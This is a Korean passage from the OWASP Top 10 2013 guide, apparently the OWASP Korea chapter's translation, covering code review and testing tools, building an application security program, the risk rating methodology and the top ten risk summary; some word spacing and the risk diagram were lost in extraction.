소스 코드 검토는 애플리케이션의 출력 값을 시험하는것만으로는 식별하기 힘든 이슈들을 찾아내고 강력한 보안메커니즘을 가지고 있는 지 검증할 때 좋다. 시험을 통해결함이 실제로 악용될 수 있는 지를 증명하는 데에 적합하다. 이는 여러 접근 방법들이 상호 보완적이며, 사실 어떤영역에서는 중복된다는 의미이다.

코드 분석 하기: OWASP는 코드 검토를 통해 어떻게 하면효과적이고 효율적으로 웹 애플리케이션의 보안성을검토하는 지에 대한 개발자들과 보안 전문가들의 이해를돕기 위해 OWASP 개발자 가이드, OWASP 테스팅 가이드, OWASP 코드 리뷰 가이드 등의 지침서를 제공한다. 코드외부에서 시험 하는 것보다는 코드를 검토하면 인젝션취약점 등 많은 수의 웹 애플리케이션들이 가지고 있는 보안문제를 더 쉽게 찾을 수 있다.

코드 분석 도구: OWASP는 코드 분석을 수행하는전문가들을 지원하는 분야에서 유용한 도구들을 작업하고있지만, 이런 종류의 도구들은 아직 초기 단계에 머물러있다. 이 도구들을 만든 사람들은 코드 보안성 검토를진행할 때 자신들의 도구를 사용하지만, 비전문가들은 이런도구를 사용하기에는 조금 어려울 수 있다. 이런 도구에는CodeCrawler, Orizon, O2등을 들 수 있다. 그러나 O2만2010년 Top 10 릴리즈 이후 계속 개발 중에 있다.

다른 무료, 오픈 소스 코드 검토 도구도 있다. 가장 기대되는도구는 FindBugs과 보안에 초점을 맞춘FindSecurityBugs라는 플러그인이 있다. 두 개 모두 자바환경에서 구동된다.

보안 및침투시험

애플리케이션 시험: OWASP는 개발자, 시험전문가 및애플리케이션 보안 전문가가 효과적 및 효율적으로 웹애플리케이션의 보안성을 시험하는 방법을 이해할 수있도록 테스팅 가이드를 제작하여 발표하였다. 이 엄청난가이드는 수 많은 웹 애플리케이션 보안성 시험과 관련된주제에 대한 폭 넓은 적용할 수 있다. 코드 리뷰가 그만의강점을 가지고 것처럼, 보안성 시험 역시 그렇다. 애플리케이션에서 취약점을 시연하여 안전하지 않다는것을 증명하는 것은 매우 설득력 있다. 애플리케이션자체가 모든 부분을 보안할 수는 없기 때문이기도 하고, 단순히 코드 검토를 통해서도 보안 문제점을 발견할 수없기 때문에 애플리케이션 환경내에서 보안이 제공되지만여기에도 많은 보안 문제가 존재한다.

애플리케이션 침투시험 도구: OWASP의 모든 프로젝트 중가장 널리 사용되고 있는 것은 WebScarab이었고, 최근에는 ZAP이 더 유명하다. 이 두 개는 모두 웹애플리케이션 시험에 사용하는 프록시 도구이다. 이러한도구들은 보안 분석가와 개발자가 웹 애플리케이션 요청을가로 챌 수 있도록 해 주어 애플리케이션이 어떤 식으로작동하는 지 알아 내고 애플리케이션이 요청들에 대해안전하게 응답하는지를 볼 수 있게 해 준다. 이러한도구들은 XSS 결함, 인증 결함, 엑세스 제어 결함 등을식별하는 데에 특히 더 효과적이다. 또 ZAP에는 활성스캐너(active scanner)가 내장되어 있으며, 더 좋은 점은무료라는 것이다.

바로 지금 애플리케이션 보안 프로그램 시작하기

애플리케이션보안은더이상선택사항이아니다. 증가하는공격과규제압력사이에조직은애플리케이션을보호하기위해효과적인역량을 반드시구축해야한다. 이미생산에서애플리케이션들과코드라인들의엄청난수를감안할때, 많은조직들은엄청난양의취약점들을관리하기위해고심하고있다. OWASP는조직이통찰력을얻고애플리케이션포트폴리오를통해보안을개선하기위해애플리케이션보안프로그램을구축할것을권고한다. 애플리케이션보안을성취하기위해서는보안, 감사, 소프트웨어개발, 사업부와임원진을포함하여조직의많은부서의공동노력이필요하다. 보안의가시성이확보되어야한다. 그래야지다양한참가자들이조직의애플리케이션보안상태를이해할수있다. 또한보안은사실상가장비용효과적으로위험을줄임으로써기업보안수준을향상하기위해활동과결과에초점을맞추어야한다. 효과적인애플리케이션보안프로그램에포함할수있는핵심활동사항은다음과같다.

조직의과제+O

•애플리케이션보안프로그램을구축하고채택하도록한다.

•핵심개선영역과실행계획을정의하기위해여러분의조직과유사기관과비교하는역량갭분석을

실시한다.

•관리자승인을얻고 IT조직전체의애플리케이션보안인식제고캠페인을구축한다.

시작하기

•고유한위험관점으로부터여러분의애플리케이션포트폴리오에우선순위를매기고식별한다.

•포트폴리오에서애플리케이션우선순위를매기고측정하는애플리케이션위험프로파일링모델을

만든다.

•요구하는엄격한수준과적용범위를제대로정의하기위한보증지침을구축한다.

•위험에대한조직의포용력의반영된영향요인과일련의가능성으로공통위험평가모델을구축한다.

위험기반

포트폴리오

접근

•모든개발팀들이지킬수있는애플리케이션보안베이스라인을제공하는일련의집중된정책과기준을

구축한다.

•재사용가능한보안통제공통집합을정의하여정책들과기준들을보충하고, 사용할때필요한설계및

개발지침을제공한다.

•다양한개발역할과주제들을대상으로필요한애플리케이션보안교육커리큘럼을구축한다.

강력한기반

으로구현

•기존개발및운영프로세스들에보안구현및검증활동을통합하고정의한다. 활동들은위협모델링,

안전한설계및검토, 시큐어코딩및코드리뷰, 침투시험, 그리고교정이다.

•성공하기위한개발및프로젝트팀서비스들을지원하고주제별전문가들을제공한다.

기존

프로세스들

에보안통합

•측정기준으로관리한다. 측정기준및캡쳐된분석데이터를기반으로개선을하고, 자금지원결정을

받는다. 측정기준에는유형및사례개수에따라보안사례/활동, 발견된취약점, 완화된취약점,

애플리케이션범위, 결함빈도를 포함한다.

•기업전체에전략및체계적인개선을위해근본원인과취약점패턴을찾기위한구현및검증

활동으로부터데이터를분석한다.

관리적

가시성제공

+R 위험에 대한 유의사항

문제는 취약점이 아니라 위험

OWASP Top 10의 2007 이전 버전까지는 가장 일반적인 "취약점"을 찾는 데 주력하였지만, OWASP Top 10은 실제로 위험중심으로 정리하였다. 이는 완벽한 취약점 분류를 찾는 일부 전문가에게는 약간의 (이해할 수 없는) 혼란을 주었다. OWASP Top 10 – 2010은 위협원, 공격방법, 취약점, 기술적 영향, 사업적 영향이 합쳐져서 어떻게 위험을 생성하는지에 대하여 좀더 확실히 함으로써 Top 10은 위험 중심으로 명확히 하였다. 이 버전의 OWASP Top 10도 동일한 방법을 적용하였다.

이를 위해 OWASP 위험 평가 방법론을 기반으로 하는 Top 10의 위험 평가 방법론을 개발하였다. 각 Top 10 항목에 대해일반적인 발생가능 요인들과 각 일반적인 취약점에 대한 영향 요인들을 조사하여 각 취약점이 웹 애플리케이션에 보이는전형적인 위험을 평가하였다. 그 다음 애플리케이션에 가장 중대한 위험을 가져다 주는 취약점에 따라 Top 10 순위를매겼다.

OWASP 위험 평가 방법론은 식별된 취약성에 대한 위험을 계산하기 위해 필요한 수 많은 요소들을 정의하고 있다. 그러나이 Top 10은 실제 애플리케이션의 특정 취약점이 아닌 일반적인 취약점에 대해서만 언급하고 있다. 결론적으로애플리케이션 위험은 시스템 소유자만이 정확하게 계산할 수 있다. 제 3자 입장에서는 시스템이 어떻게 구축되었고운영되고 있는지 알지 못할 뿐만아니라 애플리케이션과 데이터가 얼마나 중요한지, 위협원이 무엇인지 알지 못한다.

우리의 방법론은 각 취약점들에 대해 3가지 발생가능 요소들(취약점 분포, 탐지 가능성, 공격 가능성)과 한 가지영향도(기술적 영향)를 포함한다. 취약점의 알려진 정도는 전형적으로 계산하지 말아야만 하는 요소이다. 알려진 정도에대한 데이터에 대해, 많은 다른 조직으로부터 알려진 정도에 대한 통계 자료들을 제공 받았으며, 알려진 정도에 따라 상위10가지 발생 가능성을 찾아내기 위해 함께 그 데이터의 평균을 도출하였다. 그 다음 각 취약점의 발생 가능성 순위를계산하기 위해 다른 2가지의 발생 가능요소들(탐지 가능성과 공격 가능성)을 합하였다. 그리고 나서 Top 10 내 각 항목에대한 전반적인 위험순위를 찾기위해 각 항목에 대한 추정된 평균적인 기술적 영향을 곱하였다.

이 접근방식에서는 위협원의 발생 가능성이 고려되지 않았다. 여러분 조직의 특정 애플리케이션과 관련된 다양한 기술적세부사항의 어떤 것도 고려되지 않았다. 이런 요소들 중 어떤 것은 공격자가 특정 취약점을 발견하고 공격할 전반적인발생가능성에 중대하게 영향을 줄 수 있다. 이 평가방식은 실제 사업에 미치는 영향을 고려하지 않는다. 조직의 문화, 산업및 규제 환경하에 여러분의 조직에서 사용하는 애플리케이션의 보안 위험을 어느 정도 수용할 수 있을 것인가는 그조직에서 결정해야 할 것이다. OWASP Top 10의 목적은 여러분을 위해 위험 분석을 하는 것이 아니다.

예를 들어 다음은 A3: 크로스 사이트 스크립팅(XSS)의 위험에 대한 계산을 도식화 한 것이다. XSS는 매우 널리 알려져있으므로 취약점 분포도에서 ‘매우 광범위함’이 타당하다. 모든 다른 위험들은 ‘광범위함’에서 ‘드뭄’까지 분포되어 있다. (1부터 3까지의 값을 가짐)

특정애플리케이션

공격 가능성보통

취약점 분포매우 광범위함

탐지 가능성쉬움

영향도중간

특정애플리케이션 /

사업

2 0

1

1

*

2

2

2

보안취약성

공격방법 기술적영향위협원

사업적영향

상위 10개의 위험 요소 요약

아래의테이블은 2013 상위 10개의애플리케이션위험의요약과각각의위험들에할당한위험요소이다. 이러한요소들은유효한통계치들과 OWASP TOP 10 팀의경험을기반으로하여결정되었다. 특별한애플리케이션이나 조직에대한이러한위험들을이해하기위해서는반드시회사에맞는위협원과사업적영향을고려해야한다. 심지어최악의소프트웨어결함도만약필요한공격을수행하는포지션에위협원이없거나, 자산에대한사업적영향이무시할정도라면심각한위험이되지않을수있다.

상세위험요소+F

위험

A1-인젝션 특정응용 쉬움 일반적 평균 심각 특정응용

A2-인증 특정응용 평균 광범위 평균 심각 특정응용

A3-XSS 특정응용 평균 매우광범위 쉬움 중간 특정응용

A4-직접객체참조 특정응용 쉬움 일반적 쉬움 중간 특정응용

A5-설정오류 특정응용 쉬움 일반적 쉬움 중간 특정응용

A6-민감정보노출 특정응용 어려움 드뭄 평균 심각 특정응용

A7-접근통제누락 특정응용 쉬움 일반적 평균 중간 특정응용

A8-CSRF 특정응용 평균 일반적 쉬움 중간 특정응용

A9-취약컴포넌트 특정응용 평균 광범위 어려움 중간 특정응용

A10-리다이렉트 특정응용 평균 드뭄 쉬움 중간 특정응용

추가적인 위험고려사항

Top 10은기본적인많은것들을포함하고있지만반드시고려해야하고조직에서평가해야하는다른위험들도많이있다. 이러한것들중몇몇은항상확인되어지고있는새로운공격기법들도포함해서 Top 10 의전버전에서다루었을수도있고아닌것들도있다. 여러분이고려해야할다른중요한애플리케이션아래에포함되어있다.•클릭재킹•동시접속취약점•서비스거부공격 (2004년도 Top 10 – 2004-A9에 포함) •표현언어삽입 (CWE-917) •정보누출과부적절한에러처리 (2007년도 Top 10 – 2007-A6에 포함) •불충분한반자동화 (CWE-799)•불충분한로그기록과책임추적성 (2007년도 Top 10 – 2007-A6와 관련있음) •침입탐지및대응누락•악성파일실행 (2007년도 Top 10 – 2007-A3에 포함)•대량할당 (CWE-915) •사용자프라이버시

취약점분포 탐지가능성공격가능성 영향도

보안취약성

공격방법

기술적영향도

위협원

사업적영향도

OWASP(Open Web Application Security Project)는안전한웹및애플리케이션을개발할수있도록지원하기위해미국에서 2004년 4월부터시작된비영리단체이며, 전세계기업, 교육기관및개인이만들어가는오픈소스애플리케이션보안프로젝트를진행하고있습니다. OWASP는중립적, 실무적이면서도비용효과적인어플리케이션보안가이드라인을무료로제공하고있습니다.

OWASP 코리아챕터

2010년 11월설립위원회를구성하여첫회의후, 2011년 1월부터 OWASP 코리아챕터 1기운영진을구성하면서활동을시작하였습니다. 2013년 4월 2기운영진을구성하였으며국내소프트웨어, 애플리케이션, 웹보안향상을위해각종문서발간, 프로젝트진행, 워크샵, 세미나및컨퍼런스등의행사를개최하고있습니다. 국내ㆍ외소프트웨어개발자, 웹애플리케이션개발자, 정부기관및소프트웨어기업에서많은관심과지원을바랍니다.